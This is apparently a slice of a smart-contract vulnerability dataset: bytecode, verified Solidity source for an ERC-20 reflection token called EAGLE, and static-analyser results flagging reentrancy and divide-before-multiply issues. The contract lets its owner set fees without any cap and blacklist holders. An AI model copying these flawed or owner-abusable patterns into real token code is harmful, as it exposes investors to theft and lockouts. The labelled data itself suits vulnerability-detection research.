fff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061281b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561294857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561299557600080fd5b6129e6826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a79826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820c9fa9b19d8c75f2ce712b13b5ef9aead7ef799841302850bb4084adfafac85090029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,716 |
0x1c0f90c55e3ff6cd3a944cbacecc929562d9e777
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
/**
*
*/
/**
*
*/
/*
// teh eye for low taxes
// SPDX-License-Identifier: GPL-3.0-or-later
/**
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EAGLE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "EAGLE";//
string private constant _symbol = "EYE";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 1;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 1;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x8987C35301441261230543174f2dA91F7718a654);//
address payable private _marketingAddress = payable(0x5E7028f9221F1253fAe459Cb8c80239b1d0a9b8d);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //
uint256 public _maxWalletSize = 200000 * 10**9; //
uint256 public _swapTokensAtAmount = 15000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = 3;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610541578063dd62ed3e14610557578063ea1644d51461059d578063f2fde38b146105bd57600080fd5b8063a9059cbb146104bc578063bfd79284146104dc578063c3c8cd801461050c578063c492f0461461052157600080fd5b80638f9a55c0116100d15780638f9a55c01461043a57806395d89b411461045057806398a5c3151461047c578063a2a957bb1461049c57600080fd5b80637d1db4a5146103e65780638da5cb5b146103fc5780638f70ccf71461041a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b7d565b6105dd565b005b34801561020a57600080fd5b506040805180820190915260058152644541474c4560d81b60208201525b6040516102359190611ca7565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611ad3565b61068a565b6040519015158152602001610235565b34801561027a57600080fd5b5060155461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50662386f26fc100005b604051908152602001610235565b3480156102d657600080fd5b5061025e6102e5366004611a93565b6106a1565b3480156102f657600080fd5b506102bc60195481565b34801561030c57600080fd5b5060405160098152602001610235565b34801561032857600080fd5b5060165461028e906001600160a01b031681565b34801561034857600080fd5b506101fc610357366004611a23565b61070a565b34801561036857600080fd5b506101fc610377366004611c44565b610755565b34801561038857600080fd5b506101fc61079d565b34801561039d57600080fd5b506102bc6103ac366004611a23565b6107e8565b3480156103bd57600080fd5b506101fc61080a565b3480156103d257600080fd5b506101fc6103e1366004611c5e565b61087e565b3480156103f257600080fd5b506102bc60175481565b34801561040857600080fd5b506000546001600160a01b031661028e565b34801561042657600080fd5b506101fc610435366004611c44565b6108ad565b34801561044657600080fd5b506102bc60185481565b34801561045c57600080fd5b5060408051808201909152600381526245594560e81b6020820152610228565b34801561048857600080fd5b506101fc610497366004611c5e565b6108fa565b3480156104a857600080fd5b506101fc6104b7366004611c76565b610929565b3480156104c857600080fd5b5061025e6104d7366004611ad3565b610967565b3480156104e857600080fd5b5061025e6104f7366004611a23565b60116020526000908152604090205460ff1681565b34801561051857600080fd5b506101fc610974565b34801561052d57600080fd5b506101fc61053c366004611afe565b6109c8565b34801561054d57600080fd5b506102bc60085481565b34801561056357600080fd5b506102bc610572366004611a5b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a957600080fd5b506101fc6105b8366004611c5e565b610a77565b3480156105c957600080fd5b506101fc6105d8366004611a23565b610aa6565b6000546001600160a01b031633146106105760405162461bcd60e51b815260040161060790611cfa565b60405180910390fd5b60005b81518110156106865760016011600084848151811061064257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067e81611e0d565b915050610613565b5050565b6000610697338484610b90565b5060015b92915050565b60006106ae848484610cb4565b61070084336106fb85604051806060016040528060288152602001611e6a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611267565b610b90565b5060019392505050565b6000546001600160a01b031633146107345760405162461bcd60e51b815260040161060790611cfa565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161060790611cfa565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d257506014546001600160a01b0316336001600160a01b0316145b6107db57600080fd5b476107e5816112a1565b50565b6001600160a01b03811660009081526002602052604081205461069b90611326565b6000546001600160a01b031633146108345760405162461bcd60e51b815260040161060790611cfa565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a85760405162461bcd60e51b815260040161060790611cfa565b601755565b6000546001600160a01b031633146108d75760405162461bcd60e51b815260040161060790611cfa565b60168054911515600160a01b0260ff60a01b199092169190911790556003600855565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161060790611cfa565b601955565b6000546001600160a01b031633146109535760405162461bcd60e51b815260040161060790611cfa565b600993909355600b91909155600a55600c55565b6000610697338484610cb4565b6013546001600160a01b0316336001600160a01b031614806109a957506014546001600160a01b0316336001600160a01b0316145b6109b257600080fd5b60006109bd306107e8565b90506107e5816113aa565b6000546001600160a01b031633146109f25760405162461bcd60e51b815260040161060790611cfa565b60005b82811015610a71578160056000868685818110610a2257634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a379190611a23565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611e0d565b9150506109f5565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161060790611cfa565b601855565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161060790611cfa565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610607565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610607565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610607565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610607565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610607565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610607565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b1561116057601654600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610607565b601754811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610607565b6001600160a01b03831660009081526011602052604090205460ff16158015610f3557506001600160a01b03821660009081526011602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610607565b6008544311158015610fac57506016546001600160a01b038481169116145b8015610fc657506015546001600160a01b03838116911614155b8015610fdb57506001600160a01b0382163014155b15611004576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110895760185481611026846107e8565b6110309190611d9f565b106110895760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610607565b6000611094306107e8565b6019546017549192508210159082106110ad5760175491505b8080156110c45750601654600160a81b900460ff16155b80156110de57506016546001600160a01b03868116911614155b80156110f35750601654600160b01b900460ff165b801561111857506001600160a01b03851660009081526005602052604090205460ff16155b801561113d57506001600160a01b03841660009081526005602052604090205460ff16155b1561115d5761114b826113aa565b47801561115b5761115b476112a1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111a257506001600160a01b03831660009081526005602052604090205460ff165b806111d457506016546001600160a01b038581169116148015906111d457506016546001600160a01b03848116911614155b156111e15750600061125b565b6016546001600160a01b03858116911614801561120c57506015546001600160a01b03848116911614155b1561121e57600954600d55600a54600e555b6016546001600160a01b03848116911614801561124957506015546001600160a01b03858116911614155b1561125b57600b54600d55600c54600e555b610a718484848461154f565b6000818484111561128b5760405162461bcd60e51b81526004016106079190611ca7565b5060006112988486611df6565b95945050505050565b6013546001600160a01b03166108fc6112bb83600261157d565b6040518115909202916000818181858888f193505050501580156112e3573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112fe83600261157d565b6040518115909202916000818181858888f19350505050158015610686573d6000803e3d6000fd5b600060065482111561138d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610607565b60006113976115bf565b90506113a3838261157d565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061140057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561145457600080fd5b505afa158015611468573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061148c9190611a3f565b816001815181106114ad57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114d39130911684610b90565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150c908590600090869030904290600401611d2f565b600060405180830381600087803b15801561152657600080fd5b505af115801561153a573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061155c5761155c6115e2565b611567848484611610565b80610a7157610a71600f54600d55601054600e55565b60006113a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611707565b60008060006115cc611735565b90925090506115db828261157d565b9250505090565b600d541580156115f25750600e54155b156115f957565b600d8054600f55600e805460105560009182905555565b60008060008060008061162287611773565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165490876117d0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116839086611812565b6001600160a01b0389166000908152600260205260409020556116a581611871565b6116af84836118bb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116f491815260200190565b60405180910390a3505050505050505050565b600081836117285760405162461bcd60e51b81526004016106079190611ca7565b5060006112988486611db7565b6006546000908190662386f26fc1000061174f828261157d565b82101561176a57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006117908a600d54600e546118df565b92509250925060006117a06115bf565b905060008060006117b38e878787611934565b919e509c509a509598509396509194505050505091939550919395565b60006113a383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611267565b60008061181f8385611d9f565b9050838110156113a35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610607565b600061187b6115bf565b905060006118898383611984565b306000908152600260205260409020549091506118a69082611812565b30600090815260026020526040902055505050565b6006546118c890836117d0565b6006556007546118d89082611812565b6007555050565b60008080806118f960646118f38989611984565b9061157d565b9050600061190c60646118f38a89611984565b905060006119248261191e8b866117d0565b906117d0565b9992985090965090945050505050565b60008080806119438886611984565b905060006119518887611984565b9050600061195f8888611984565b905060006119718261191e86866117d0565b939b939a50919850919650505050505050565b6000826119935750600061069b565b600061199f8385611dd7565b9050826119ac8583611db7565b146113a35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610607565b8035611a0e81611e54565b919050565b80358015158114611a0e57600080fd5b600060208284031215611a34578081fd5b81356113a381611e54565b600060208284031215611a50578081fd5b81516113a381611e54565b60008060408385031215611a6d578081fd5b8235611a7881611e54565b91506020830135611a8881611e54565b809150509250929050565b600080600060608486031215611aa7578081fd5b8335611ab281611e54565b92506020840135611ac281611e54565b929592945050506040919091013590565b60008060408385031215611ae5578182fd5b8235611af081611e54565b946020939093013593505050565b600080600060408486031215611b12578283fd5b833567ffffffffffffffff80821115611b29578485fd5b818601915086601f830112611b3c578485fd5b813581811115611b4a578586fd5b8760208260051b8501011115611b5e578586fd5b602092830195509350611b749186019050611a13565b90509250925092565b60006020808385031215611b8f578182fd5b823567ffffffffffffffff80821115611ba6578384fd5b818501915085601f830112611bb9578384fd5b813581811115611bcb57611bcb611e3e565b8060051b604051601f19603f83011681018181108582111715611bf057611bf0611e3e565b604052828152858101935084860182860187018a1015611c0e578788fd5b8795505b83861015611c3757611c2381611a03565b855260019590950194938601938601611c12565b5098975050505050505050565b600060208284031215611c55578081fd5b6113a382611a13565b600060208284031215611c6f578081fd5b5035919050565b60008060008060808587031215611c8b578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611cd357858101830151858201604001528201611cb7565b81811115611ce45783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d7e5784516001600160a01b031683529383019391830191600101611d59565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611db257611db2611e28565b500190565b600082611dd257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611df157611df1611e28565b500290565b600082821015611e0857611e08611e28565b500390565b6000600019821415611e2157611e21611e28565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220229b46f873f40b6cff09b9ea3099cc937ad05445d05e334ab1e5f4084e17020164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,717 |
0xf314294d13d6d097ae85901276d0f4595efd19c2
|
// SPDX-License-Identifier: Unlicensed
/**
IF YOU'RE READING THIS YOU'VE BEEN IN A COMA FOR ALMOST 20 YEARS NOW.
WE'RE TRYING A NEW TECHNIQUE.
WE DON'T KNOW WHERE THIS MESSAGE WILL END UP IN YOUR DREAM, BUT WE HOPE WE'RE GETTING THROUGH.
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
